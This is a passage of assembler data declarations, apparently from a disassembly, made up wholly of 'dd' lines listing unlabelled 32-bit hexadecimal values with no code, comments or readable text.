		dd 221080D1h, 1569F63Ah, 48FC6303h, 0D401468h, 0CECC7A50h
		dd 0A8A80069h, 0F66ADEE4h, 8008B010h, 0CAA48A67h, 0E2720890h
		dd 94D259Dh, 0C5C3838h,	2915465Eh, 0E4901C52h, 94234057h
		dd 0D739CC87h, 0E2AA5631h, 68052980h, 3126C58Ah, 2ACABE00h
		dd 92D52CA6h, 29900049h, 0BF3C8CB2h, 3A035B53h,	0ABEA1902h
		dd 33FBC847h, 5C830A58h, 2E032A5h, 5121C9AFh, 6B80987Ch
		dd 920291F8h, 75EE07FEh, 4FEF1688h, 7E463831h, 6CBE8E00h
		dd 7DB763EDh, 5CC84CC1h, 42793C09h, 0C6CE7C30h,	1D5C3408h
		dd 5EEB6475h, 50C6D6C0h, 5A58C12h, 3078227Fh, 9CD847CEh
		dd 0FC24A0CFh, 0C904F03Ch, 86D86C47h, 0C08880CAh, 57C2346Ah
		dd 984A3071h, 1828D849h, 83E1FE68h, 0F6D7DF1h, 70F7ED33h
		dd 0D0E4DDC1h, 82F04444h, 0AD30FB74h, 8381190h,	879788A5h
		dd 239045C7h, 4009EAA8h, 156F31F9h, 0C49890B0h,	4A01DD79h
		dd 0B15E1060h, 7D06D0B0h, 20840A19h, 0BD2087BCh, 0E7688D7h
		dd 48B2A28Dh, 0B01DF469h, 1D80C591h, 84E8962Bh,	0BCFC9E4Bh
		dd 0DFAA36C2h, 29A2C8A0h, 0E1DB293h, 0C897BD1h,	2D440418h
		dd 0CE923460h, 0EF1E9010h, 520022DCh, 57BF91FCh, 0F8C9E85h
		dd 3B542B5Ch, 987F74C9h, 7788ECh, 0E011AACEh, 0DA6BFC67h
		dd 5C3318CAh, 78FD6E00h, 9A8DA6h, 235335E6h, 6ACD1740h
		dd 5DAED203h, 0E38BA75h, 0B0A95860h, 4AB86EA0h,	3512C90h
		dd 4B9030A8h, 68F00641h, 187469F0h, 0FC74987Fh,	0E4DA97BAh
		dd 20713900h, 54E66EB5h, 5A260F80h, 823E64AFh, 318C2774h
		dd 30C35080h, 0A5074B33h, 0E57B1928h, 67271811h, 0E95F50DCh
		dd 0F8D046D5h, 8891008Bh, 15D13E76h, 491BCEFFh,	9049C831h
		dd 0EE325E6Eh, 0FE5A0093h, 423CE871h, 78248FD4h, 1091846Fh
		dd 1E4BEE00h, 3BE9496Eh, 3164AB03h, 0C3963FBFh,	98E9080Bh
		dd 8820FB48h, 21839080h, 0FC5C0905h, 0B40AA115h, 465EECB1h
		dd 90060002h, 86087466h, 0C00BAB7h, 68445F8Bh, 2CA5BA70h
		dd 1C6004C4h, 590CFFA0h, 0A0D1BE4Ch, 18E4A081h,	73D0835Ah
		dd 5D586319h, 6F0478B4h, 8DCB5B0Bh, 4C5138C7h, 0B73AC32Eh
		dd 0F4F10618h, 418C961h, 0F240820Ah, 50B881BBh,	1C870470h
		dd 7EC9500Fh, 0AD08D582h, 0BA0090E7h, 0D52D9036h, 0BF490040h
		dd 0D1942CB8h, 0CC4039F4h, 743B1A8Eh, 4675807Bh, 0D24F06ECh
		dd 0D1764C97h, 0A8BD3004h, 0F4CBAE82h, 2FC041C8h, 7BF6C3EAh
		dd 8C020032h, 0D6AC5AEEh, 29C00F51h, 0F0CF1DB1h, 0F4B00128h
		dd 36AB7527h, 8FDB40F2h, 88C40804h, 349981D0h, 4E2EE6ECh
		dd 0D368ADDBh, 0D5806709h, 0E43BDC81h, 0FCBC5075h, 2891B799h
		dd 7D18F7F1h, 0A194FB13h, 0BB030ABh, 900C325Ah,	6886343Bh
		dd 0AC57C3Ah, 1D608CB3h, 0FC1D4958h, 6E809611h,	32E43FE9h
		dd 0CC49BE77h, 60481CC4h, 0F9803CACh, 0F433BDD4h, 24AC9195h
		dd 0A87802C4h, 986BE881h, 0EE04BFC8h, 9F98210Eh, 514CA517h
		dd 90E09E80h, 0C0833143h, 20D02BC0h, 0F305CF40h, 0C1FFD795h
		dd 87068C0h, 404899FEh,	0CE383D0Ch, 5B3EA903h, 2358C4E6h
		dd 4301F9E8h, 55082E90h, 0B9807063h, 35A9903Bh,	5AC4361Bh
		dd 8CEBE4B1h, 0E4608158h, 0A972D19h, 0EACF030Ch, 6862C36Ch
		dd 3CFD01D0h, 9CBEA507h, 0CA318B90h, 0B0237E03h, 3D9B880Eh
		dd 348043A9h, 87C77EAh,	0E308BC99h, 98480305h, 1909674Ch
		dd 94064F7Eh, 0B5C6001Ch, 16E8C948h, 0FC24A65Eh, 465E28AEh
		dd 68410B05h, 30343184h, 0DB26B432h, 2CB50330h,	46A883E5h
		dd 68A41F0Ah, 0CC475207h, 1256A2D4h, 36B90359h,	0F2419203h
		dd 30A5FCD1h, 6F42C420h, 40010223h, 3D082B90h, 0B088C418h
		dd 2620C038h, 2837BEE6h, 0DBE07B79h, 5CC4AB0Dh,	99E8297Ch
		dd 0C66F3E16h, 0EDB84701h, 410126E5h, 2634329Ch, 0BB1C0C18h
		dd 79396Dh, 0E306FA63h,	98D1435Bh, 59BD8F00h, 72017EA2h
		dd 0A5843F11h, 4EFA6413h, 8FE40A98h, 0E80216A8h, 4E77A7C1h
		dd 3D56EC7Ch, 147C820Ch, 0F046FEB7h, 3CC21F39h,	0B064C810h
		dd 25C5B53h, 70A2CD01h,	0CC98D64Ch, 0F252A78Bh,	68480534h
		dd 5C89FD80h, 581C9820h, 3B84E4F7h, 0BF8E4EDh, 3A28048Ch
		dd 621F4A7Fh, 21E02EB8h, 4317643Ah, 0D60D680Fh,	58E645D3h
		dd 0CEBA0882h, 0F0305860h, 35A09380h, 3301CA15h, 0D557FB6Fh
		dd 85D83CC2h, 0CC9500AAh, 2A603BA9h, 7B3F1EC7h,	4579125Eh
		dd 8CFB48Ch, 255C33C6h,	1C40EFC4h, 0D414C6D7h, 0E0FC682Ah
		dd 80EDBA3Bh, 8C3A4792h, 43531F1h, 4CD3C78Ah, 52E0983Dh
		dd 0E832B905h, 0A461E0B8h, 0A0420D5Eh, 0E6C7AAAh, 0A792134Ah
		dd 0E182AE6h, 9473041Dh, 9531689h, 0E08A0868h, 3D0E50h
		dd 0DD342BF0h, 412AB0D1h, 98323F26h, 0A22EEA40h, 0A7480B1Bh
		dd 0C8180C29h, 4892CCBAh, 28461060h, 3AF3918h, 0EDD37E49h
		dd 6C85620h, 66F29BB4h,	815978FEh, 44049338h, 0C815F24Eh
		dd 8C58FD22h, 6C840039h, 676926B8h, 0C3A7E6Eh, 0DE984B90h
		dd 0C044BB80h, 0BD540944h, 0C00585Eh, 4AE0454Dh, 0E8FAC1FCh
		dd 93639B00h, 0D5A723D4h, 9A78334Eh, 2E00E40h, 2F006090h
		dd 409526A9h, 0E01E146Eh, 446B01D4h, 67610356h,	6DC230D0h
		dd 2007A1A3h, 2801F63Ah, 0A9617CD0h, 0D9110085h, 369CE494h
		dd 0D2167113h, 611DCE07h, 69C02837h, 6F3096Bh, 0FB630C7Ah
		dd 80EB084Ah, 6B51B621h, 0A4D840h, 618AD043h, 0E6DB5EA3h
		dd 7681E60h, 8FAEF0h, 2D662C91h, 0D178276Eh, 60A2E485h
		dd 997D5Ah, 1C985BCDh, 3796E4A1h, 0B6D6B8C0h, 1FF1157Ah
		dd 816FD0C9h, 1EE45E01h, 0B920802Ch, 0D3776718h, 6E171A0h
		dd 0B4A35D3Bh, 58ED41B2h, 2C00E894h, 0B04064E4h, 604A9C9Ah
		dd 0E6EE1883h, 3E030929h, 38580876h, 0A84185F8h, 70688D84h
		dd 0F6F02882h, 61001205h, 5208C72h, 82096587h, 6D8C0229h
		dd 90A0838Bh, 0FCF111C8h, 5A62A801h, 0DB659F90h, 31277898h
		dd 84A86C8Fh, 2B001181h, 57361319h, 3824D42h, 0F19DE652h
		dd 11A9F0A0h, 55788301h, 738FD8h, 54BFE039h, 4520A46Eh
		dd 91F16405h, 94001849h, 0D50311D2h, 7B0D03E8h,	66086586h
		dd 7C0CC878h, 0A86E9E18h
		dd 1991E428h, 383CD0AAh, 6D7DD817h, 5367C214h, 10948084h
		dd 3CDF1609h, 6864541Ah, 10D8104Ch, 0F306186Ah,	18481981h
		dd 0EC9FC800h, 0F22DF068h, 95ECF1C3h, 5277F65h,	386D07E9h
		dd 0B5AC219Bh, 82A91017h, 26AA1ECCh, 12FF09C1h,	5A8E0400h
		dd 84288D5Bh, 3154D868h, 65188CC4h, 67489878h, 0AB060FC7h
		dd 90D8929Ch, 11187B7Ch, 9F38A8F7h, 0A8D1D92Ah,	95C18789h
		dd 450AEBCh, 0EDB7D71h,	0C9F8FFD2h, 2807A415h, 0DA5764D3h
		dd 0ACBF7820h, 0C86C008Ch, 0D6F1135Ah, 4100A7A2h, 0AB8CF7CDh
		dd 0C0BC9CC1h, 0DBF132B1h, 4473A8BFh, 80E89A3Ch, 0B5992D5Ch
		dd 28013BB6h, 2498064Ch, 44E42442h, 6B5661D9h, 8C42F3C0h
		dd 1CBBA144h, 1C1C6B5Eh, 681D008Eh, 0F6EC868Ah,	78F12724h
		dd 5C7C0F40h, 8634940h,	0E14713h, 2BDFF0B8h, 0B766E82Ch
		dd 213C08h, 7DCCA926h, 6BCD54F8h, 9BEE2707h, 97F10DD8h
		dd 29816C41h, 21F41A74h, 0D0EAED42h, 0EE139220h, 1408F702h
		dd 6B6AC0CDh, 624CF2FCh, 52B7E048h, 572A036Bh, 0C8667318h
		dd 8371ABA1h, 91EF6E69h, 0B0D05020h, 0F87D41E8h, 545C85A6h
		dd 27C006C3h, 71307BB3h, 1AC520EEh, 0EC174F18h,	0EF6719h
		dd 9E69A8B1h, 5E9CA301h, 0A6BC3950h, 685B8417h,	0CC6DA204h
		dd 0A40FCCD4h, 349298Dh, 0A063B044h, 0C33B9D18h, 0CA3EEE99h
		dd 698E691Fh, 0A5A73340h, 6411F6B2h, 900E3827h,	0A0BE50B0h
		dd 0C6C73207h, 15163EE6h, 17070C38h, 0F1A1C1E4h, 9CAADD02h
		dd 8C050866h, 8B4E7080h, 0C2CE383Ch, 0F344E33Fh, 37659112h
		dd 0E45F5802h, 113662EAh, 0E08667A0h, 0D8653895h, 0AA8B0A06h
		dd 183033D8h, 2060EBBEh, 618096F4h, 600B6738h, 531E4829h
		dd 5245C9F0h, 0FF23AD9h, 0D17D1C03h, 33D09720h,	0B26A482h
		dd 260AE0D2h, 43444013h, 1B0EA4C2h, 0A32324AAh,	51DD3ECh
		dd 5099F130h, 3048A18h,	248586B5h, 0FA0008Eh, 844C53F6h
		dd 541EC5FBh, 2540668h,	28650F8Ch, 0B10CECF8h, 0A6D10027h
		dd 43E486A2h, 0EC668E78h, 210F08h, 11A6D94Eh, 90133CF4h
		dd 4D71610Bh, 3A203091h, 319499FCh, 909B6088h, 8E87F319h
		dd 0C8A6D04Ah, 2B626AE2h, 19540288h, 86DCFCC7h,	1022B446h
		dd 0A6CF4000h, 0AE371BBFh, 74C913F2h, 0BCC0423Eh, 0D4010E32h
		dd 308A290Bh, 80A01AE6h, 52B5691Eh, 0EAEADD61h,	5CE06876h
		dd 0F90070F8h, 45C0637Bh, 4024849Ah, 0F000F66Dh, 417826F4h
		dd 687E1883h, 0C10F09Fh, 3C10AB60h, 5C40D8AAh, 7D1FDE59h
		dd 0F0E484D8h, 0FB5E5424h, 2654FC19h, 64908D04h, 521C1E14h
		dd 67940737h, 0D08A8429h, 5DC86D84h, 0B8AC0828h, 0B9A9020h
		dd 0F57DE66Ah, 6B6C0C22h, 68449867h, 0C008E563h, 0A7BE7C0h
		dd 26D8790Dh, 0C85F159Ch, 0E4958702h, 0FC60F74Bh, 8D1608ACh
		dd 68219148h, 0B8A43206h, 80D4E1F8h, 7634DDC6h,	0E6C8484Ch
		dd 0B0675520h, 8D861840h, 619F6180h, 85040E06h,	20584A30h
		dd 0E617F403h, 9CC958B2h, 9364C301h, 46B7982h, 0F57B24C1h
		dd 0DAF2B08Bh, 1572B002h, 40DDAC48h, 7C785150h,	20866EDh
		dd 0F0C5CCDEh, 104131C7h, 14CCA631h, 0C89A22E4h, 208B5417h
		dd 0E797A3B8h, 6468AB52h, 0A4605760h, 0F023CFCCh, 4211B7h
		dd 0D0CCAC27h, 341138Eh, 1825EEBEh, 21126FA3h, 0A422FB3Ah
		dd 0E61C61B1h, 8707D472h, 0C5F2773Dh, 804CD528h, 94AA936Ch
		dd 0D6086E50h, 98D25C90h, 6A4C7405h, 0FC0294C9h, 4186CF6h
		dd 86E0A6D3h, 0D48ED4h,	0E9A6DB4Ch, 0B870C601h,	692161C8h
		dd 32F03AC8h, 95181D08h, 0C662142Ch, 916E06FFh,	0D171B57Dh
		dd 0A91086E7h, 312ADFh,	5438FE08h, 0B97FBA1h, 987423FCh
		dd 0EB211C60h, 0A18F38F6h, 3C612B94h, 0EA1A1140h, 0EDFB0E11h
		dd 814212EFh, 74C15D2Ch, 0BAA44841h, 0F3C0DC00h, 0D7C3A28Fh
		dd 1BCB802h, 56CFF961h,	249AC127h, 57B87BC0h, 0AB0218B8h
		dd 9D177C5Fh, 0A0204868h, 2FF918CCh, 94986851h,	0EB706082h
		dd 0E8A7B091h, 6CD04804h, 76A25D0Eh, 3A1CB454h,	861422EEh
		dd 0C1C4A495h, 75386584h, 3E630853h, 0AC148608h, 0F2160C93h
		dd 0C82000C1h, 0AF6B932h, 0E48DC492h, 0F58605E0h, 20A49065h
		dd 0D85C1A0Dh, 10DD1020h, 267DFC57h, 81400351h,	826C6730h
		dd 26462AEh, 23B1EE79h,	0A8888353h, 0A4C0DC8Ch,	0C92A1CDBh
		dd 8C305DC1h, 0D117CCE2h, 0C438A7F0h, 0CCAA0F25h, 0DFC04195h
		dd 0D912BC74h, 5433390Ch, 7BC919h, 92A166B8h, 1334E73Ch
		dd 0CC3A1C03h, 0C964549Bh, 120422BDh, 86F801F0h, 6467C393h
		dd 0DC3FFA94h, 571A0133h, 0D73D3AD2h, 413E1C30h, 4D2C6038h
		dd 18FB1B40h, 19042EB4h, 30922881h, 80EB340Fh, 2BED0664h
		dd 45F4DF0h, 61805028h,	1757800Dh, 2C8C60A2h, 0B84828F3h
		dd 5E078C34h, 16EEF10Dh, 84D57524h, 6534F404h, 0AD80612h
		dd 532AA02Dh, 0AD009005h, 0CC3632FEh, 25B58EC6h, 501D1E6Fh
		dd 1702C63Eh, 0E41B1E7h, 71ACF040h, 35E61784h, 90402205h
		dd 0ABE55080h, 901C239h, 7D68C1ACh, 9C5527B1h, 0E62AE002h
		dd 5F20481Fh, 66C30237h, 0C55B7581h, 9464C489h,	8E56840Eh
		dd 4358FA7Eh, 142DA3Ch,	0F814AABEh, 0D09CA7A3h,	59F465Eh
		dd 0A70BBA3Ch, 37E558C0h, 0DFE2184Bh, 6D599917h, 0E4197B00h
		dd 0FD368CEAh, 0FF9301BAh, 9B2FEEA6h, 557DD0BDh, 1FADA900h
		dd 0F92E18DEh, 445830C9h, 72D428A0h, 50658C16h,	0C8671C41h
		dd 4470D816h, 756F1BC6h, 92BF9074h, 0F450F4ADh,	162C8412h
		dd 0C36A9C0Fh, 0E9E6D054h, 2080F926h, 0AC42BC07h, 20A7705Ch
		dd 0C3191B08h, 68D82DEDh, 0FCF40311h, 0DC019898h, 82352022h
		dd 0B0993D4Dh, 30DBF929h, 0A40A2DCh, 9FC00E55h,	68A3EB54h
		dd 695CB606h, 0E442D314h, 698CC9Dh, 1C2CFC0Fh, 70135CA7h
		dd 0DCE22894h, 0A0DE7D0Fh, 44624A09h, 598AA843h, 516AD802h
		dd 1C44246Ch, 6E07A04Ch, 0EE237B3Ch, 96FB802Ch,	7CF70088h
		dd 0DFE494DBh, 1C050924h, 70F08C03h, 0E25FBBC7h, 52904A86h
		dd 917D0C88h, 0FD98418Dh, 0E6196A60h, 50BB0243h, 46658C6Dh
		dd 69A3126Fh, 0C0CF3408h, 0F30A6B68h, 0A0227246h, 6B50B507h
		dd 0A8E04693h, 38CC268h, 0C9F14852h, 60103890h,	28006E41h
		dd 0B84C4B95h, 0FF09A09Fh, 6548240Fh, 10C33B20h, 530D0FEAh
		dd 0FB181263h, 2BF6BCE0h, 24CAFC80h, 84C08BFh, 3A8245ECh
		dd 0C827D3F7h, 8A7197D8h, 0C3EC0C0h, 1464F0A4h,	40C01179h
		dd 79EDA1D7h, 7A9D0E64h, 0D240C36Ch, 0F718DA07h, 8718C548h
		dd 22826271h, 0C87860D8h, 361902B5h, 7D287917h,	8425B079h
		dd 0B0F43744h, 9E5D20C7h, 298B50A3h, 0D5D941D0h, 20B89F70h
		dd 84046A76h, 1CEF3857h, 14E674D1h, 0B700082Dh,	0A781A6AAh
		dd 0D904B0B5h, 7223EC47h, 0CA682882h, 79505198h, 0BA182Ah
		dd 21230CBh, 0E8E07236h, 0EF178409h, 0C04C4A76h, 30D4CB48h
		dd 889123E6h, 0FCF44ED8h, 7FEC0B00h, 94DE72A6h,	4200B427h
		dd 0E8908B6Dh, 0C4A86B40h, 940FF7A4h, 0E763E3DBh, 0EE53D6CAh
		dd 17A7B071h, 9820E106h, 334188B8h, 881439C0h, 78E1E12h
		dd 93700CDCh, 36D410C2h, 3000A534h, 0D8038DFCh,	0E1D60718h
		dd 5C79B022h, 528B34A1h, 0CCDF5030h, 0CFF0C416h, 24D438h
		dd 0C7A1CCA7h, 87E426D1h, 34793709h, 79CC43Bh, 96F97AFEh
		dd 0A5404F29h, 0A186901Bh, 69D42607h, 0E460705Fh, 404F881h
		dd 0DD927971h, 0FE18C817h
		dd 0B7D219C9h, 0C43900F0h, 1AD49249h, 584B1407h, 97F06118h
		dd 914057C5h, 35033DBCh, 909EEF43h, 0FFA022DBh,	81026766h
		dd 0E8D917C3h, 86524039h, 0C76E24B5h, 35F50828h, 75A96101h
		dd 5C60EBD6h, 6D38408Eh, 0ED25B002h, 0C41895F6h, 0D4F75D90h
		dd 2E4CD080h, 0E93FA6EFh, 7A096002h, 70DE2h, 584C92B0h
		dd 0DDAD40D8h, 3B196867h, 8AE874D0h, 7D4B00F0h,	2BE11312h
		dd 921F836Ah, 0EF1C4C81h, 0C5B803Ah, 0E0E27007h, 7277F8Fh
		dd 0E175C18Dh, 0BF61D047h, 6C60DE17h, 0B270F959h, 0E3BA50CCh
		dd 89441F0Ah, 0AFFA0661h, 8EA060C0h, 50267FD5h,	0F118D796h
		dd 0E21CA68h, 5703531Ch, 2792D867h, 0D780C36h, 0E3D1FA03h
		dd 0EF85F1B5h, 6FFCC3h,	0BE6D9918h, 1B9A91D8h, 0B2206314h
		dd 705D804Ch, 0C0033588h, 25D22749h, 0E3067DAFh, 0B38609C6h
		dd 51F06008h, 8725BA41h, 470F3400h, 0B1A27110h,	6048E0E4h
		dd 0C970E0D5h, 58013F06h, 375245A5h, 5EC4174Ah,	0BC911E54h
		dd 0DE22C097h, 193A47ECh, 0B0D87D1Ch, 38EADDh, 0D7C6A29h
		dd 0C0E54831h, 0C3AFC251h, 79065BD1h, 0C9637422h, 2180E708h
		dd 29C3A798h, 2B02CCDBh, 0FBF64F6Dh, 8192827Ch,	0CED4A032h
		dd 54DE9DE2h, 4890C474h, 7DE20C8Ah, 3C820C30h, 0E60045FBh
		dd 327C0934h, 0D4A0BCC7h, 1E00DD2Ch, 7B9D8164h,	0D0EBEF02h
		dd 95A2B018h, 1125BD30h, 8CBB7DA4h, 44212Bh, 643D25C5h
		dd 0CCA37F2Ch, 0EE4B7B00h, 0F24770CDh, 0B798A117h, 9084C7F0h
		dd 426D4510h, 182C250Ch, 0CCD650A6h, 0BB7AC0h, 17CD95A9h
		dd 0BEF71A7Eh, 1EE654ACh, 44B3B424h, 918A5BC0h,	839DF7Ch
		dd 4F1FBF5Fh, 0EC707A14h, 6F43EEh, 0D0F9E060h, 0AC9A7A4h
		dd 83DD545Dh, 51F281BCh, 80E906B4h, 6022AB52h, 8ECB32h
		dd 2CEADD15h, 0C039B152h, 0D55A5B0Ch, 2408A086h, 8320EC1Ah
		dd 0A11967E1h, 0ED61181Ch, 71819344h, 8CB90490h, 70C732E0h
		dd 602EABC8h, 3662381Fh, 0AD1E01EEh, 0AE1CED60h, 0F02C5707h
		dd 50814F2Ah, 2F80A49h,	0DC4085B7h, 0D19CB0BBh,	882C548Ch
		dd 0D98660DFh, 2417FB9Dh, 80EB4E3Eh, 0EC8D6580h, 7C89AE6h
		dd 0D1F40892h, 0CBE4550h, 8E9904BCh, 70BAEA01h,	0EE6C855h
		dd 39F878B1h, 0EA7A0094h, 0F4028A54h, 3700A721h, 481247EDh
		dd 0F98484FAh, 109014F2h, 9D05F06Eh, 6189705Ch,	2025D1E0h
		dd 0E0ACDBC8h, 0B9406880h, 3DE2500h, 9CE559AEh,	0B75E0A8Eh
		dd 8BC277Bh, 24028C29h,	80E5B303h, 0F74D5788h, 0D8C449EAh
		dd 8C30F050h, 0D0C3B004h, 0CC62815Bh, 0C3A89920h, 0A6F81F4Eh
		dd 0A91780ECh, 37D3286h, 0BC05F8D2h, 0B4409E81h, 34ADEAC6h
		dd 0F21F126Dh, 0A6980125h, 0A4C7FFDDh, 0DE0420h, 0C8FEBF3Eh
		dd 89379A5h, 5F001AFEh,	656A2C17h, 0C2961142h, 578107F8h
		dd 9802F0E2h, 7C48FF36h, 0B6007826h, 9E19E69Fh,	507AC98Ch
		dd 1570C8E1h, 0B04289D1h, 0FFB1E0Eh, 5084589Ah,	13064717h
		dd 0A80EE665h, 404ED2FBh, 0F4DE0E9h, 0C69A465h,	7BDD266Ch
		dd 4F14EDE9h, 26802256h, 1B0C50ADh, 24BB580Bh, 859C855Ah
		dd 40D44F66h, 693363B4h, 0C009F9FEh, 20CCEA79h,	255A5D2Ch
		dd 638188A3h, 94810B60h, 265702B8h, 0A63CD75Bh,	50E41334h
		dd 3223F43Ch, 0D2C3A201h, 0CE18B15Bh, 9A9788h, 77CAC4C3h
		dd 0B7BCEC54h, 0B5CF3103h, 9689592h, 0A7328480h, 8FCB4A8h
		dd 0D0819C82h, 85D18A5Dh, 51862883h, 74DA90C7h,	0F2D2D8CBh
		dd 9C11000Ah, 6B4C8D83h, 84318EF2h, 4C95B510h, 0EBB8B017h
		dd 85A51008h, 2102181h,	28FD4394h, 7E3D4201h, 24E4DF02h
		dd 5CB2900h, 0A2FCBBB1h, 3A0899DDh, 6089A380h, 25C496D1h
		dd 0B0E47903h, 0E01F9CB6h, 488B02B4h, 0E5229C9Dh, 79226201h
		dd 0B23721C9h, 0D5FDBC41h, 0BA06B300h, 0CC09FA2Ah, 3568ED00h
		dd 94529680h, 428E32E6h, 4C48E308h, 357130D7h, 0A532E800h
		dd 0EFCFB26Fh, 1359900Bh, 406FCF0h, 0F27368h, 0ABCC4382h
		dd 0F1DEEA56h, 41A33510h, 0FA1B790Ch, 16F759DFh, 0C7E3AAh
		dd 23C3A445h, 9001621h,	83D168CAh, 907FC28Ch, 235460Ch
		dd 5BBDC3A3h, 10C73199h, 3C39BA4h, 0C6949F86h, 1900D247h
		dd 0D0264CFDh, 1DF93E2Bh, 3415A1h, 8D0FA539h, 0B4908C90h
		dd 0E4C54610h, 4166712h, 41BEBB20h, 95BFED79h, 15175884h
		dd 0C0041216h, 0B0D0A2A5h, 80778F12h, 6B2419E1h, 1D08F8B8h
		dd 0C9E481A7h, 4E18339Dh, 6CAE1120h, 0D910A894h, 7CDE2C67h
		dd 7BF17740h, 568F0004h, 36A4F979h, 0BC008D93h,	5821002h
		dd 286DD938h, 46F822ECh, 352E02C0h, 1C42968Ah, 3536CD00h
		dd 55B0D332h, 0DED10353h, 851E2180h, 71F488DCh,	0D7617B13h
		dd 6FBE4804h, 5A2D8600h, 934034F9h, 37604074h, 202038B8h
		dd 849D48D6h, 79FEF210h, 0E671100Ah, 0F500BCAFh, 0EAC11126h
		dd 0A6EC403Fh, 7837B505h, 0B0816745h, 2C72F1EBh, 429F2716h
		dd 255D47E8h, 20B32CB1h, 0D755E37Ch, 7980323Ch,	0C49AF8A0h
		dd 0B0157688h, 0D02A4990h, 91187873h, 89293D8h,	0C0965F0Ch
		dd 0A3556004h, 0D2338402h, 60BBB484h, 237F3569h, 0C43A5A96h
		dd 353104CAh, 0C0D0D392h, 82DE7E5Ah, 1D7FF0A8h,	0D71C87F6h
		dd 0A2B0E4CBh, 60F259Ah, 767A1482h, 811AB8DAh, 8B710D51h
		dd 1440B1Dh, 398A4D34h,	11E74701h, 95100492h, 1069B7E9h
		dd 3E081D89h, 77E00C6h,	9A492A7h, 0FAB80288h, 0A1E6CC34h
		dd 24F6C180h, 1D0BBDBAh, 0A2CE8CDDh, 16F8974h, 7687705Dh
		dd 25D30224h, 1CCB7DA2h, 25BB4200h, 0A3E8058Fh,	5957C64h
		dd 0BAC9965Dh, 318400B7h, 7C2AA934h, 498A193Eh,	4CB16A98h
		dd 1814501h, 3802C6A5h,	92114851h, 0A525B880h, 44A5B37Dh
		dd 25C04701h, 0EEE04CF1h, 8F7226F7h, 0F3A63A38h, 0CC004B50h
		dd 0B8FBBDCDh, 79BC81C1h, 7024B002h, 24BA2C1Fh,	0F80D03B4h
		dd 3903ABF3h, 4279EC89h, 0D1282EC6h, 8E2E3CD0h,	5F6B44DCh
		dd 904B4A7Dh, 803C13DEh, 6EC24Bh, 0A22AD405h, 91487101h
		dd 11770A01h, 0CD0BC3D2h, 3181F861h, 815FFD1Bh,	5082CBCh
		dd 2A061FEDh, 484F00CCh, 0C5091CF3h, 0B420E13Ah, 5F57EF66h
		dd 2C91A892h, 4A18E4D1h, 0AED5CB05h, 8FC4B92Fh,	91817081h
		dd 119FD863h, 3F057B77h, 0D87CF63Eh, 0F92A88CBh, 0F7610088h
		dd 4F55D703h, 78C0DD31h, 4EB748D1h, 78A9C29Dh, 8C60CE94h
		dd 39CEF736h, 85A1602Eh, 71E5C2Dh, 7D5E4BC8h, 6F409092h
		dd 5272C9BEh, 1E22E0A4h, 65FEF723h, 5CB10F0h, 0B24522EDh
		dd 627EEC92h, 4F906824h, 0A392462h, 44080140h, 6783A58Dh
		dd 87EF2034h, 154A8820h, 2C397BC1h, 587AEDDCh, 76065085h
		dd 0A82BAE27h, 8447B528h, 847CBCA9h, 0E3E71250h, 6D640412h
		dd 5A87007Fh, 21C68A53h, 0B7005780h, 9662528Dh,	42854F81h
		dd 5C1F5D30h, 678D60C8h, 13EB1680h, 812C11AFh, 507FDFCCh
		dd 0D56253E0h, 79B58803h, 883960D1h, 76C039Ch, 0EEBD7F2Dh
		dd 0DF2254Fh, 0E458B0F0h, 4724C7B8h, 6F033480h,	621BC627h
		dd 0DE4F10D0h, 1729C48h, 0D0EE1126h, 2B82FE1Eh,	4036B2C4h
		dd 845FD6F4h, 87B9346h,	0AB7DA625h, 6FF3C2h, 0AC25C746h
		dd 4BEA7D0Ch, 5892D015h, 184D2094h, 88E3CE19h, 28026C6h
		dd 968C356Ch, 10E73132h, 0E03534CBh, 0C9D500F7h, 535F1B63h
		dd 0D2020E7Ch, 80E0E3CDh, 0F798A369h, 0D7FDD81Ch, 0F23530A5h
		dd 604E5199h, 8F509100h
		dd 2AFB42A2h, 0AF4300A9h, 20E06ECh, 900AADBEh, 0C4FF327Bh
		dd 7B58C82h, 67004076h,	88B94Fh, 0DAB686ABh, 3F3EB971h
		dd 54EC85C3h, 71C1AEC9h, 9067835Ah, 0A925B450h,	0F707CA0h
		dd 913C9614h, 0B8C07357h, 47EF0D96h, 122896AEh,	0CDD02036h
		dd 72EBC2Bh, 0CA080850h, 0C828D7h, 0C52063BFh, 369115C6h
		dd 9E4AE2F2h, 4C8BBC30h, 0B4EF7B2Dh, 93B758CCh,	36534C00h
		dd 7008920Ah, 61DB6027h, 0D18AA9F6h, 4771C8C2h,	7C780Fh
		dd 0EE9AC50h, 0D12F81CBh, 0E14A8A31h, 59806EDEh, 0CAE9C6ECh
		dd 0B4057E69h, 0DBFA2E57h, 45DFE840h, 227F97h, 0C312AE14h
		dd 3A0ABC43h, 30395F01h, 8F131549h, 819482CAh, 7C308036h
		dd 4BE9D7FAh, 9198042Bh, 26F4147Bh, 0EB8FF4C8h,	9079890Dh
		dd 419E4FD0h, 1A986018h, 38CACD40h, 41024B63h, 7D2D5078h
		dd 0D844A072h, 9D4218BDh, 805D6081h, 465EA894h,	0FAC500BFh
		dd 915F78EDh, 0F907D39h, 467BB77Dh, 80201189h, 0B4E66223h
		dd 0C005A677h, 0E8F1E5ECh, 0BDBB8880h, 0E48D0994h, 2C168138h
		dd 4612A44h, 90A9B631h,	0D70B6010h, 9E09F0B3h, 407C01D4h
		dd 25F53683h, 9790302Ch, 0C018FB88h, 0D93C1C91h, 0BFEE7F20h
		dd 16545C3Eh, 1CCFD41Ah, 24C0CB88h, 5390E2h, 0BB941F69h
		dd 715ABDCFh, 1E02249Ch, 0D8F7DFFBh, 7AD482FCh,	404F5BB8h
		dd 9848A478h, 0C3003253h, 0BBF07ABAh, 90665Bh, 42B0E067h
		dd 22EA7216h, 6B4480B0h, 881F79EFh, 0BE287194h,	0C898A0D2h
		dd 0B923E743h, 81356700h, 86938A96h, 2D8D944h, 91EF352Fh
		dd 2849C2C9h, 6451F2CEh, 7618D979h, 0E33271FDh,	0CCA0F4B2h
		dd 905E3354h, 16925700h, 12761805h, 0B7BB076Bh,	0EEA1781Bh
		dd 28E78E60h, 0D0A1A35Ch, 8C340CC8h, 0BCC3A404h, 0A538A15Bh
		dd 83C39C3Ah, 16142ACAh, 7571E1F0h, 4881C054h, 0C9042C62h
		dd 23687570h, 9F0C00B0h, 0E558CA5Ch, 671C0026h,	0E836649Dh
		dd 4100D6FCh, 409FA9F0h, 521418F7h, 2B0058A4h, 0D52AD119h
		dd 6224CCB7h, 81C2D493h, 29847A59h, 11F0DE3Eh, 0F0BC416Fh
		dd 6268C854h, 0CF1D8CD1h, 3B50804h, 55DCCCh, 88188C21h
